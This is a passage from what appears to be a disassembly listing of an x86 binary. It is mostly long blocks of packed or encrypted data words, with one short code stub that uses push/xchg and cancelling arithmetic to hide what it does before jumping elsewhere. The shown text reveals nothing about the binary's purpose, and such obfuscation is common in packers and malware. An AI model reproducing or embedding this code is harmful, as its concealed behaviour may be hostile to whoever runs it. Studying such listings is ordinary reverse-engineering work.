0AD82B111h, 4363F140h, 2383CF5Dh, 409EAAFDh dd 2585C71Ah, 48C2331Ch, 1116B8E8h, 1670A698h, 0FD109DB5h dd 109DB49Dh, 0FFDCAABFh, 8692C68Eh, 5BEA2B16h, 0F366E677h dd 80089603h, 8FA8A544h, 0EA000003h, 0F6DCFA5Ch, 0E6CCEA64h dd 0F8DAF852h, 0E7C9E967h, 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh dd 0BB8D2208h, 0A8A4351Bh, 0EF1E410Ah, 16B8E973h, 0C279E53Ch dd 2A22E2DDh, 0B61D2DA9h, 60F70611h, 70626ABDh, 0E23CB1DDh dd 0AB109E43h, 0FE3A0B6Ah, 0FE4CE0E3h, 70C187DCh, 22537011h dd 168F3D5Bh, 0A7959BCh, 58188804h, 60950150h, 0BBD480E6h dd 0AF0F6EAFh, 49183C89h, 318EF4EBh, 8183DF0Eh, 0B4CBBD4h dd 0D48180DAh, 0A5C449BBh, 171E01FEh, 0C00837BEh, 6CBD3892h dd 0DC6D51E0h, 0B565270h, 482927B8h, 0A2BFFA6Bh, 248168Eh dd 0DEFD9CAEh, 4D27CFF9h, 1048D5C0h, 529FF0C3h, 0DF8E5637h dd 89BF30AEh, 6F58870Ah, 3371139Fh, 0A800A724h, 22EC580Dh dd 2BA0EAF2h, 0ADD83301h, 399B5Ah, 0A3BF0000h, 96B205BEh dd 882746C7h, 8E987455h, 71C04516h, 8A878200h, 0E56FBE0Ah dd 6CDE7254h, 1E9B35DDh, 878A0479h, 32530A8Ah, 8B008A53h dd 0AD399361h, 0F43B5Ah, 0BD1F0000h, 7251E06Ch, 0CD04474Dh dd 4D97B64Bh, 0C796BE0Bh, 3C0EA288h, 0F2E4EC2Dh, 0AA5A275Fh dd 5C1D82BEh, 2ABC9E3Dh, 0B3AD5D5Eh, 0F5943032h, 4C9B2564h dd 3595B70Ah, 0A49A2F18h, 0A28D286Eh, 3548EB1Ah, 75C8109Eh dd 80D1F7D7h, 2A3F7DCCh, 34F36F9Eh, 59BC109Eh, 93B49B38h dd 0E03E6D1Dh, 8DFC41C6h, 939D4726h, 0C2B0C49h, 9E797DD9h dd 0FDC74610h, 8F4A238Eh, 6949CC16h, 7552342Dh, 75B06600h dd 912E6F10h, 25C91AEh, 0CB04759Eh, 150824Ah, 0C8B0408Dh dd 0F6E4E68h, 183C89AFh, 0FB4B7765h, 0C805A479h, 1CEh dd 97371FABh, 8D2D21B1h, 913119ABh, 923020AFh, 933321B0h dd 0CF5E8FA0h, 0B5032585h, 0C81B3D9Dh, 0AD002280h, 2D323F9Fh dd 0B8EA5EB8h, 50F22716h, 0C6E470BDh, 0DCFB51E4h, 1A2161F6h dd 4100EAFBh, 0A0A2B3D2h, 9721400Eh, 0BEA31FB9h, 0C796B205h dd 9D496B80h, 83E26BF4h, 0DEBF8F1Fh, 8C01DE01h, 109EA612h dd 0D332BADBh, 168F89F2h, 82F342C3h, 0A8B7A04h, 729A2F5Bh dd 5AAC2FA2h, 960Ah, 0DDC23000h, 2ED1844Bh, 3A1CA4C9h dd 2106A5A7h, 0CD10AE00h, 2CBB05BDh, 0A8B99B2Ah, 9E4FD659h dd 49035610h, 59F7486Ah, 0CE5F418Fh, 98D1EF7Eh, 519CD1EEh dd 0FA168F20h, 0E6FB3B9Bh, 0F7D203A0h, 0C010757Bh, 0D5C7E5Dh dd 0F4416747h, 8019ED60h, 7B3279FBh, 0F55Eh, 20368400h dd 400EA082h, 5EEC4062h, 47095A80h, 60F44167h, 0AFDC5342h dd 0AE943222h dd 0B496341Eh, 0A789291Fh, 0CB983616h, 0EAF55184h, 6BBE16B8h dd 0E470BDF7h, 73C1E9C6h, 72C315DFh, 0BD5EFCDAh, 0C08C1D6Ch dd 1EAE1071h, 0C2045534h, 0C1FDDD6Fh, 71ED20A8h, 3A109DB5h dd 0D89FCDBh, 0D6109DB5h, 0D1F9D6B7h, 0D805CF83h, 8692C7A5h dd 20315416h, 0ACFE8B1Eh, 41B493A2h, 0A828EC5h, 0F6E0F8Eh dd 143889AFh, 93240645h, 26A7ACBDh, 5E71EAF3h, 4DBC0465h dd 559C829h, 0AB39213Eh, 56F31DA7h, 943319ACh, 3721AAEh dd 0EE99B487h, 9DACCD50h, 4466747Ch, 0CD0A5BF1h, 872289E2h dd 0AC1683Fh, 83DBC04Fh, 478953FDh, 0D30958F8h, 0DF722099h dd 0DA6B4D6Dh, 43C541B4h, 0F8EEE99h, 1C66516Eh, 171004Dh dd 0C3005F69h, 300151DFh, 3CC07D1h, 72000000h, 71BDE17Bh dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 52221524h, 0C281E289h dd 4, 4EA81h, 14870000h, 14895C24h, 73F56824h, 0C890000h dd 4EC8324h, 68243C89h, 61B275Fh, 81240C8Bh, 4C4h, 26E46800h dd 24890000h, 24048124h, 4, 0CA89525Fh, 8B085789h, 0C4812414h dd 4, 5F2434FFh, 4C481h, 34FF0000h, 0C4815924h, 4, 0F84917E9h dd 359522FFh, 4D8916A9h, 1B37E1B8h, 0FFC50306h, 0F31624E0h dd 98B89D0Ah, 0BD6A9A10h, 0D7559219h, 44C36C37h, 0AAAA5775h dd 30914F5Eh, 2873B572h, 0E4152D67h, 7616B62Ah, 5A6CF762h dd 35952B55h, 6DF9230Dh, 8232F039h, 7F030A4Bh, 0C7697E34h dd 0B65FAC63h, 0B5972A6Dh, 0C4710629h, 0BB93209h, 0A20A8512h dd 0BCC76F7Bh, 9F220416h, 0FF8F4A3Eh, 0B925F206h, 5598572Fh dd 0CE9B4529h, 9341A97Ah, 0AA12860Dh, 0E2E254Fh, 14E97Ah dd 70AE0000h, 1D32h, 3 dup(0) dd 2E90000h, 0AE000005h, 0B2983620h, 0AA902E20h, 0B4963416h dd 0AB8D2D23h, 0A598361Eh, 80D4618Ah, 0A2B00022h, 0BF891E04h dd 0A4A8391Fh, 0E3123D06h, 16B8ED67h, 0C245F930h, 12434FE0h dd 109DB4B8h, 737D1C81h, 0ED7CD061h, 0DAF85CE9h, 587D5FDh dd 96CB6F35h, 18294874h, 4CDDEFF9h, 0BC0D3100h, 2D7DC190h dd 9C2E1021h, 5CED5DEFh, 0C90D5C3Dh, 3D82D377h, 0E6FF2A19h dd 0D3BFE069h, 76FC4F36h, 0B86D5205h, 30CE6045h, 9DFF9F04h dd 0D384FF11h, 0D676C709h, 0DD85CEF9h, 6DF7A37Bh, 0E3C8851Ah dd 9D2772A7h, 24699BFh, 1F297EA4h, 96BC0C4Eh, 92500E39h dd 89D878C7h, 553A308h, 27BAE1ADh, 465897Dh, 0B5372DBCh dd 51398E44h, 9E07C21Ch, 6B0A8B10h, 78D4654Bh, 83998E9h dd 18B2109Eh, 79CEF4A3h, 9F5D05CFh, 47A341B9h, 76h, 1D6CBD1Bh dd 0CA1BBF8Bh, 3352B382h, 0B575D322h, 1CAD109Dh, 0F77D096Ah dd 84E5A1FDh, 0D4191B5h, 1A45173Ch, 7D8E55C7h, 0D2C3385Ah dd 2C9D2Dh, 0A341F830h, 198h, 0E0C2BE00h, 0D3320351h, 0D777C709h dd 5CF24486h, 59ECCE0Dh, 58E7E9F3h, 0C9F669F8h, 0B51B77E6h dd 0A1E4109Dh, 0A65CED17h, 0BB9C3A14h, 0BC044497h, 0A605479Ah dd 0E42FE81h, 0F0F8E5DEh, 70BD48E2h, 0E17155E4h, 9C36DC6Dh dd 6EE6731Fh, 75D76A50h, 0FC4EE2E4h, 7857846Dh, 9DB48905h dd 0A9335210h, 0E2C2EA5Fh, 4AA341E8h, 63h, 0E470BDF0h dd 6BDF7155h, 7DD7664Ch, 0C423ADECh, 0B86ADF13h, 0AA8B2B29h dd 49183688h, 7FCE00C8h, 604784D5h, 0EA787D88h, 0E6E8F012h dd 836AFB55h, 9A4A7207h, 42A341A6h, 47h, 0E470BD18h, 6ADE7155h dd 9FFB6A4Dh, 68109DB4h, 0B4C9B25h, 0A8CDEBD4h, 0FEA5A73Ah dd 757FE263h, 65F49E1Bh, 0BD71CFEFh, 7350E16Dh, 5EDBB64Ch dd 0FAC26D08h, 9E190A8Bh, 72078310h, 418E8A4Ah, 132A3h dd 0BD080000h, 0D700DF6Bh, 0B288EB84h, 11D01868h, 0A1B09C2Dh dd 1AC841ABh, 92684C6h, 0DD5BB726h, 0E124109Dh, 86DBD7h dd 32A384A3h, 109DDCD8h, 48577CA1h, 0C36FCC9Fh, 27F6955Fh dd 0D8168F4Eh, 113916B5h, 80DA8BBFh, 490A8B4Ch, 0C5F44FFEh dd 0FF9EE740h, 15476F5h, 674B6C4Bh, 0A9E879D9h, 8AEB5EB8h dd 0DEE6270Ah, 0C587DA00h, 0EA870574h, 0D2C00A8Ah, 51388939h dd 9DFC4D01h, 69FCDEFCh, 0DD7052E3h, 0EAE23CB1h, 0ACAB0A8Ah dd 8AEADD39h, 667A60Ah, 0A230D667h, 64E87929h, 0DC2EEE46h dd 26965AACh, 0AC000001h, 0EBC8BEA3h, 8EBC377Ah, 0C71A4016h dd 8B55B485h, 0B1AEBFDEh, 45143889h, 87DAFCC4h, 70C4E6C5h dd 0DEC412DAh, 80A2014Bh, 0AD01592Dh, 0CD9415FFh, 81C524ACh dd 480C5930h, 17A88A29h, 0DFE92839h, 7B107A80h, 0F8D676C7h dd 0AD139C5Ch, 53445Ah, 0A31A0000h, 0C1E9C6BCh, 0B8ADB6Fh dd 0C56194C1h, 0CE6F624Bh, 615CA389h, 9B3815A2h, 9DBFF06Ah dd 3554B990h, 62002724h, 7C76B2F9h, 900A7B58h, 59909E94h dd 15DAC34h, 3909E95h, 3F28F089h, 11202E80h, 0C33291F0h dd 0EF632C27h, 0F2CDED30h, 81h, 0C8BEA350h, 7AEBCCEBh dd 109DB520h, 0ED1CA4E9h, 168EA1E0h, 0D1F544C9h, 0CCEECC80h dd 0F382D379h, 0A8AA090h, 7FCE7CD0h, 0F4450D5Bh, 281DAEE0h dd 476F5887h, 2BFCB987h, 8C243E1Ch, 0C5241D27h, 4AF891FBh dd 397555F7h, 9419330h, 1BB8D938h, 730644EAh, 11206510h dd 0A1B09C2Dh, 1FC841ABh, 0ECBD2738h, 2465F45Ah, 58837E7Fh dd 493D2490h, 5BF9486Ah, 14418B0Ah, 57D639E1h, 9B3B5A0Ah dd 70E5C23Dh, 109DB516h, 0CC1CBEDFh, 8E56B786h, 704F3732h dd 0A1FD704Fh, 6A109DB4h, 0BC62A12Bh, 0DD16868Ch, 14A5A9B8h dd 92BD9A38h, 7EF59017h, 42945C80h, 7D0C5DEFh, 5990AE3h dd 0A55DEE24h, 0B89A3814h, 34162725h, 0F85AEAA3h, 0F8492869h dd 6111AAE4h, 815E7CD0h, 75B32F5Eh, 197CEF58h, 9D2723B5h dd 13222ABBh, 0A36h, 0E0C29C00h, 0D3320351h, 0BDDB8509h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0BC68240Ch, 89000049h dd 2B68243Ch, 89000013h, 0BD552434h, 61B38F1h, 2C8BEF89h dd 4C48124h, 83000000h, 248904ECh, 24048324h, 81575E04h dd 7C94242Ch, 468F2156h, 8468108h, 21567C94h, 5624348Bh dd 0C681E689h, 4, 4C681h, 34870000h, 3C8B5C24h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 0F84377E9h, 0DD1C1EFFh dd 0DD0846FBh, 3D66B84Fh, 0C503061Bh, 4344E0FFh, 0EB6E4E2Ah dd 0BF7C656Eh, 5280AB4h, 5EEF4C26h, 0B81E2D36h, 875428CDh dd 1DA87ADBh, 0D8E96519h, 104457AFh, 32B76A4Eh, 8E703DBDh dd 65EC3628h, 82FF67B5h, 8A5C20BCh, 0B974290Ah, 40557463h dd 0F7EF48CAh, 0E3451C8Eh, 19F10CAEh, 0A6CA7D3Fh, 3C6B6AB4h dd 27BD18EAh, 247466C0h, 0A1B40199h, 90456D0Ch, 0E84A5Fh dd 22E97B48h, 0C7000000h, 3E947Dh, 7 dup(0) dd 566E900h, 5510000h, 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h dd 0FF4E7452h, 0E9467555h, 0BF1F3584h, 0A7074B99h, 0BC1A2E81h dd 0A9094396h, 0D44EBFA0h, 9D16B8F2h, 6CBDDA84h, 0E06D51E0h dd 0E1745674h, 0B4DE38ADh, 66A7109Dh, 0B4BA1449h, 283109Dh dd 5DF0D263h, 0EA7C5EEFh, 0F5684764h, 109DB499h, 0D5DB47CAh dd 94A37627h, 51FD4D71h, 0A8378100h, 993EBB37h, 2222EEAEh dd 7E46E184h, 6443095Ch, 0E5FE93Eh, 3117458Fh, 260CAA9Eh dd 0A9A6B791h, 0E5182F7Eh, 0F2E26E2Ah, 0B9EFD4FAh, 85C71185h dd 164A1B37h, 20B35FDCh, 15A88A28h, 1AB7EA71h, 5DEC191Bh dd 462766F7h, 66E71627h, 0DF109EADh, 0E6B6D673h, 4EA34112h dd 84h, 1D6CBDF4h, 6EAFBE8Ah, 9F5E6149h, 0BCDDAC05h, 3A8CAEADh dd 2C4D0151h, 95F4FC1Dh, 109E5A37h, 0FAAD1EACh, 5A2EA8DDh dd 96F7109Eh, 9FAEA434h, 2EEE767Eh, 96A3414Fh, 1, 0E16DBDACh dd 72DC6E50h, 6FDB6D55h, 73C40665h, 97DB8CDDh, 70DE7022h dd 0FA4D7552h, 569EFF4Eh, 3C9BB104h, 0B570EA1Bh, 34A9109Dh dd 109DB4DAh, 0EAD562A3h, 0A17414A8h, 982041A5h, 28B59DBAh dd 0AC391D2Ch, 55FFC9A8h, 3D4EE0C2h, 2E3F5EEAh, 0B562BC31h dd 0EA2B109Dh, 7260248Bh, 75986DB8h, 0B5DC696Bh, 0FB1A2B27h dd 0A68CCB9Ah, 65E77A17h, 0F7D4B5D4h, 9E3D0C86h, 28B0D510h dd 1DBA9426h, 97A6A235h, 17FF6E76h, 70570079h, 0B6070614h dd 0BEC13196h, 3C89CB15h, 4598BA18h, 4B9CF544h, 0B4D53405h dd 0EE4284D5h, 0F7E40D5Ch, 2CA82D3h, 1BC9F388h, 0C3A3413Ah dd 85h, 2170BD97h, 0FEDDBC90h, 70C187DCh, 554FE4Eh, 6EC1E584h dd 0C20A8BDAh, 0BD8D1F23h, 42B73BACh, 0B3134190h, 451408Dh dd 1E203150h, 76D0058Dh, 0AF109DB5h, 9DB4E43Eh, 0DB68AD10h dd 6101A7F4h, 0F8991845h, 65A1C899h, 83FC23D4h, 9FF38DB8h dd 9F4D15DFh, 47A34105h, 4Eh, 0E470BD1Bh, 0FC54E3C7h, 45A42C6Dh dd 0CB9AAE01h, 0E4735788h, 912A646Ch, 0D53A54E1h, 0A9C3439Ch dd 5D456203h, 1A3880CCh, 51E0C2C0h, 9D33203h, 86D777C7h dd 9DB496F7h, 0EAD00F10h, 2968F95Bh, 0A8D4659Fh, 0A341EAE8h dd 150h, 6BBDE600h, 0AEDF00DFh, 109DB534h, 0CA86D5FDh dd 80C221ABh, 1742592Dh, 8ADE48C2h, 0C865AEBh, 0D971C36Fh dd 0E2A4BDF9h, 0F0C190C5h, 1372168Eh, 9FAD0042h, 0C6C8193Fh dd 8AEF3B97h, 71E16F0Ah, 0AD92A1E0h, 96F06328h, 4C2D4CD4h dd 81108CFDh, 49490A8Bh, 9DAF02B0h, 82CA1B3Dh, 42B394B3h dd 0A8B80C8h, 92C40C91h, 8CAE0D3Fh, 1FCE163Ch, 0B260D977h dd 358D2D1Fh, 5AAC2667h, 124CFh, 0BEA37300h, 377AEBC8h dd 0D0168EBCh, 79183A8Ah, 0F953E6E8h, 85D6FCD9h, 0BC1B7ACBh dd 8AA5CD49h, 6D77960Ah, 0E372DA6Bh, 6FFE4EDFh, 0E29029A7h dd 85DDFD4Fh, 5AAD1BB7h, 6B1Fh, 0E5C24300h, 9DB51670h dd 36BEDF10h, 6A5DD0Ah, 2E0FDE21h, 58600C66h, 8F700A7Bh dd 56796F62h, 9DF8AB27h, 4B4B7490h, 1144B5E6h, 0B382E382h dd 9EB0C842h, 2D15CA90h, 0E02AB29Eh, 7A429D6Bh, 0F9ACD060h dd 0BCAE236Bh, 916A3D6Ah, 103291F0h, 16438DBBh, 62F34BE7h dd 4DDEC4EFh, 0E92CB903h, 0F755E8CAh, 7ED0EFEDh, 6E000000h dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h, 0B382CA1Bh dd 8AA0C142h, 0FB90020Ah, 7956F647h, 0FB4AFE51h, 404529Ah dd 0A145E3DDh, 0F7DCDFBFh, 0C3113996h, 0E518458Fh, 10733BD0h dd 8BBF1139h, 32A3A441h, 46F26D8h, 7C0009h, 2E3D08A5h dd 0A0BF8EEFh, 25FDE3B7h, 154891C8h, 46F7FB9h, 40620382h dd 0B1D061EFh, 0B8942527h, 0C039B3A9h, 3695F1F8h, 5856B2C7h dd 4C6AAB0Ah, 2BEA3EEh, 0C011B2F2h, 775CBD8Ch, 42692E61h dd 6AEF7B11h, 0A605642Ah, 0B71B3184h, 0F4152424h, 8B7EEFECh dd 0F416877Dh, 0E6177FCEh, 0A83696Ch, 27B1D035h, 0C80A5BBAh dd 0D6F7D775h, 5DEC62F4h, 0FA2B43Ch, 0D667E97Ah, 4887D6B7h dd 0EA7BCD62h, 2CE221ABh, 6921F842h, 0E4715976h, 2F850170h dd 0CF4ED1F4h, 44EE8B05h, 454998F1h, 609FE869h, 0B41B7A6Fh dd 0B2EFE215h, 6E4D2CE5h, 6BB6AD49h, 0BD0727D7h, 2428B99Fh dd 0AEA23115h, 0B247C99Fh, 3F9FAD00h, 97C6C819h, 0D1F42E3Bh dd 51E08104h, 0A74h, 0E0C2DA00h, 0D031004Eh, 0BDDA8408h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 9668242Ch, 89000073h dd 8952241Ch, 4C281E2h, 83000000h, 148704EAh, 2C895C24h dd 3E946824h, 1C8B061Bh, 4C48324h, 4EC81h, 24890000h, 24048324h dd 27685D04h, 89000010h, 458F241Ch, 2434FF08h, 4C4815Dh dd 8B000000h, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 3D76E95Ch, 0E6F0FFF8h, 6A7D421h, 0F9C25AD5h, 4508DE84h dd 1B4372B8h, 0FFC50306h, 74092CE0h, 0B3241915h, 9CC3276Ah dd 0D68D8D1Ch, 0E8061B44h, 7, 126980C4h, 667E636Ah, 895EFB8Bh dd 131BBD8Dh, 919D0306h, 0C706130Eh, 1318DD85h, 6AE806h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 5F6275E5h, 9589F6F0h, 61301D1h, 0FE8B5360h dd 0FE95Bh, 200C0000h, 1FDCA64Ah, 0E58F1852h, 0C6FB5D5Fh dd 85C7613Fh, 6133055h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 84C35747h dd 758875EBh, 8D893617h, 61322C5h, 2331B5FFh, 8D0F0613h dd 6, 9D99D8Bh, 0BD8B0613h, 613104Dh, 1D8995FFh, 0BF0F0613h dd 0FF006ADEh, 130DA995h, 0EBC08B06h, 0A795C47Eh, 526115A1h dd 2F7A24BAh, 31F130Ah, 3C58FF8h, 0B1C3801Eh, 0A4A79217h dd 637F70C0h, 1247837Dh, 0C2FA0048h, 2319B0D9h, 41BEA01Eh dd 9D328EF1h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h, 0A5A8203Ah dd 6C6AB5FAh, 1C4898Fh, 0B8BDC796h, 9E64C65Eh, 0D9EA0371h dd 0DE43F608h, 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh dd 55C2DE3Eh, 63A3D62Dh, 3154EDC1h, 18663711h, 8DA89843h dd 1B46538Dh, 0CE906h, 0F49A0000h, 0D7A3AA0Ah, 0CE4CCFFAh dd 8D8956BFh, 6131BBDh, 24259589h, 85C70613h, 61318DDh dd 5D40h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0AC35646h, 0F0A6A83h, 148Ch, 0FE900h, 0E6B70000h dd 0C64B31CEh, 0EE36C38Fh, 575B468Ch, 5585C7B4h, 61330h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 1110C351h, 0A8132D00h, 1B5FFF9h dd 6A061321h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 49D4C352h, 608FED0Ah, 0FDAF4CDEh dd 24419D8Bh, 95FF0613h, 6131D89h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 76C35242h, 6F8DC103h, 0C9C20AFCh dd 12398589h, 6A0613h, 0DA995FFh, 0C08B0613h, 7BB738EBh dd 7F25A982h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 94207635h dd 0C74650FDh, 0E46196Dh, 0B5BACD8Bh, 0B1B1752Ah, 0A0362D35h dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 8D8D7BD0h, 61B47A3h dd 0B058523h, 8D890613h, 6131BBDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 9FC35545h, 48032F29h, 8B66BB6Bh dd 5800FFAh, 0BA000000h, 6615AE6h, 18DD85C7h, 6E1C0613h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 858BE4C3h, 6132FA5h, 305585C7h, 613h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 800F5AC3h, 6, 5505CB81h, 0B5FF6203h, 6130B01h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 80C35747h, 0E24F8EC4h dd 0B85EC4D0h, 560CF251h, 8E9h, 0BD47E400h, 7A356C38h dd 8995FFF6h, 6A06131Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 9D3EC355h, 0CAFB617Ch dd 0B71A89DDh, 29BD858Bh, 6A0613h, 0DA995FFh, 0C08B0613h dd 8CF12EEBh, 0D6EFD0F3h, 2B33EAFDh, 94DE389Fh, 8D0BE5C3h dd 6C85B121h, 66FBBDF0h, 95DC24C4h, 0FD22188Fh, 0EB24B15Eh dd 1FE0EDD5h, 96CACA76h, 2DE9h, 858FDD00h, 6Ch, 9 dup(0) dd 91E90000h, 0CA000005h, 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h dd 0C7E9C987h, 0C9FCDA7Ah, 9CB80566h, 86CC1C3Eh, 9BAD0228h dd 88C4153Bh, 0CF3E212Ah, 16B8FD53h, 0BD59051Ch, 7251E06Ch dd 3187EB4Dh, 0A33491E3h, 1C7D9CADh, 213382D4h, 0C77AA582h dd 0EAE455CFh, 0D71773E2h, 0BDE0109Dh, 22082533h, 2436BE90h dd 3B1CBB91h, 9DD750CAh, 0ECF41910h, 4408597Dh, 7FF1D6F5h dd 97158D52h, 85D5F7C1h, 0ABE778C9h, 7BD1640Eh, 66E2755Bh dd 0EAE95E49h, 2B5CB627h, 0E025109Eh, 964F44BBh, 0B2F104Eh dd 40C190B8h, 47015678h, 0CE84D4F6h, 460E5B7Fh, 0C981D3F7h dd 0BE3B5778h, 0FA8F01D7h, 0E0F3624Dh, 258AC014h, 0BC04FBC6h dd 0A303459Ah, 0D630A582h, 9F109DC5h, 0D164767Eh, 0CAEDEA7Bh dd 9DC63F9Bh, 21850810h, 0D433BD91h, 109DC675h, 1F2E22B1h dd 95A4AC3Bh, 1D2C20B1h, 0FF7C16FCh, 0E861F116h, 41FBF4C4h dd 755CA3h, 0BD020000h, 2051E06Ch, 109DB4A4h, 76C78DDCh dd 0FA4B0154h, 76C987D8h, 71967FFCh, 744468E1h, 16A341EAh dd 96D78631h, 0FDF63412h, 0AF210323h, 118A0C1h, 1, 0E16DBD55h dd 72DC6E50h, 50DFE3h, 9EC19E31h, 9DB4F36Fh, 8F59BC10h dd 7CCE84F5h, 7BCEF4D2h, 0C392BC0Eh, 96F06542h, 5F109DB4h dd 5E7F5F3Eh, 470B5981h, 6CE697F6h, 35109DB5h, 0BD4E08D0h dd 0BB8F2170h, 0F211A5AAh, 0F31FEB07h, 6562F392h, 0D160EC3Dh dd 942628B0h, 65E3ABBAh, 0D10423D4h, 109EA675h, 0C315DF3Eh dd 32D51876h, 3C089237h, 0A5B7D5Dh, 0EED4F342h, 0B2982C59h dd 320362A3h, 75C709D3h, 7E5D84D5h, 0CB22C61h, 1A7B109Eh dd 192826B8h, 2596F0F8h, 41B029F7h, 79ECCBA3h, 109E071Dh dd 61DA7E6h, 61h, 0E470BD5Ch, 6BDF7155h, 700989DAh, 0C1E173C2h dd 0E46EBEE4h, 0AAAC3455h, 2B28391Bh, 3299B907h, 2D37F9D9h dd 292BB5CFh, 0BEA7B69Ah, 0D795B754h, 7FA341FAh, 45h, 0E470BDE3h dd 0B517655h, 65E9F998h, 83375B27h, 0C5F2151Ch, 101B77E6h dd 0A1E4109Eh, 0A6A23517h, 0AD1EB497h, 0CEEC68F5h, 0E16DBD74h dd 0B4A02150h, 7919109Dh, 0E5735700h, 3DFB636Dh, 0A5A341EAh dd 1, 0DF6BBDB9h, 0FE86DA00h, 44C58B4Fh, 52E382A7h, 5E860075h dd 0CE4F109Eh, 92BA0BAFh, 0EB7A42C3h, 67F656E7h, 0D88AFF71h dd 0C7E8C684h, 6AFB53E3h, 0E879D768h, 0B400C8A9h, 0D5FAD9ADh dd 1F2BE1D5h, 0F157EC90h, 0DA0B4890h, 168EB30Bh, 0C60859BCh dd 0D7F9D973h, 0C6E9C686h, 8AB13B97h, 3781040Ah, 5B84ABA8h dd 0AA20B571h, 0D68936F8h, 3859B46Dh, 0CF351B0h, 0A62C0A8Ah dd 80CC5D15h, 0A648FC23h, 0FCB3E6D0h, 0D7FB35D7h, 0E6EE1DE4h dd 63F3D7F8h, 0E6785AEBh, 0D9B8D968h, 5DEC68F5h, 0FA2B43Ch dd 972A2C3Dh, 0A13416B5h, 0BCC221ABh, 0B405BD4Eh, 0D2A23A98h dd 7A5AAD55h, 100h, 2BEA3E0h, 2729DBEBh, 0F654E812h, 26472667h dd 3484A689h, 6CE4F1Eh, 8EC72287h, 4897BB16h, 0B9D83908h dd 3913A6A8h, 0E093BC99h, 0F8B53C62h, 28B99B25h, 0A0311524h dd 5BF59DACh, 0E5A134DEh, 0D34D7CB7h, 409EFF83h, 0A1A93B1Fh dd 0B3F1BF17h, 42595AADh, 0FD000000h, 1670E5C2h, 0DF109DB5h dd 0DD0A36BEh, 5BD706A5h, 646F624Ch, 65E11021h, 67909DB6h dd 9BC49425h, 1995C8E7h, 92EF624Dh, 223321B0h, 0DCBD8B20h dd 8FEB8DF7h, 26AE7534h, 4B6644C9h, 68h, 0C8BEA3E7h, 0A18F7AEBh dd 1578168Eh, 9DAF0244h, 72EC213Eh, 3B0A8AA1h, 0E664F8DAh dd 0B0AE3657h, 741AAB8Fh, 8AA08501h, 0AECF4E0Ah, 64767E9Fh dd 9BEA7BD1h, 0A8AA038h, 32E05979h, 110DAD9Fh, 0DC11AED8h dd 1073DE57h, 0FE401174h, 0BC90A1ABh, 0FAEFB952h, 39BE2F8Ch dd 560A5897h, 91B69737h, 5D04E514h, 0E9737DDDh, 14FE0C2h dd 20667BB7h, 0F3CD5283h, 0ABEA1686h, 6B9ABD9Ah, 0A826CEFh dd 5F588FB8h, 3D958DACh, 0EF42945Ch, 0A5B7D5Dh, 0BF1C2C7Fh dd 823FD44Eh, 19789D0Ah, 153B948h, 4C9B73E8h, 7DBB1746h dd 1849FE3h, 0BDEAD160h, 65BD4BF4h, 3418A90Dh, 0C7DEF25h dd 2FCC4619h, 4573283h, 0F594F544h, 7ED2F8D5h, 0D41C7DCCh dd 4C1D2F82h, 61BD300Fh, 2A9FE370h, 7455C4EBh, 0C6A60CAFh dd 0C58BDCFEh, 577B6074h, 117B4505h, 0D577CA78h, 0FB65D1F6h dd 90E84EB3h, 95280A48h, 0AABA6B7h, 7000000h, 0FE4CE0C2h dd 72A62E6Fh, 0E571BDB0h, 6DDF7254h, 0E365FADCh, 72E07052h dd 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh db 15h, 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 53D4E15h add edx, 0FAC2B1EFh add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi push edx mov edx, 541807BBh add edx, 0B2034052h push edx sub dword ptr [esp], 161755ACh pop ebx add ebx, 161755ACh pop edx push 3AE1h mov [esp], esp add dword ptr [esp], 4 pop edi push eax mov eax, 8 add eax, edi push ebx sub dword ptr [esp], 15804862h pop dword ptr [eax] add dword ptr [eax], 15804862h pop eax push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 0DCh dd 0CFF2D273h, 936EA5D4h, 0D5379631h, 1B4CF8B8h, 0FFC50306h dd 0D84943E0h, 0C8EFCD58h, 5362E26Eh, 2C49D616h, 23F10A67h dd 13736456h, 647A23Bh, 8D3FE069h, 5623FA10h, 0A245A237h dd 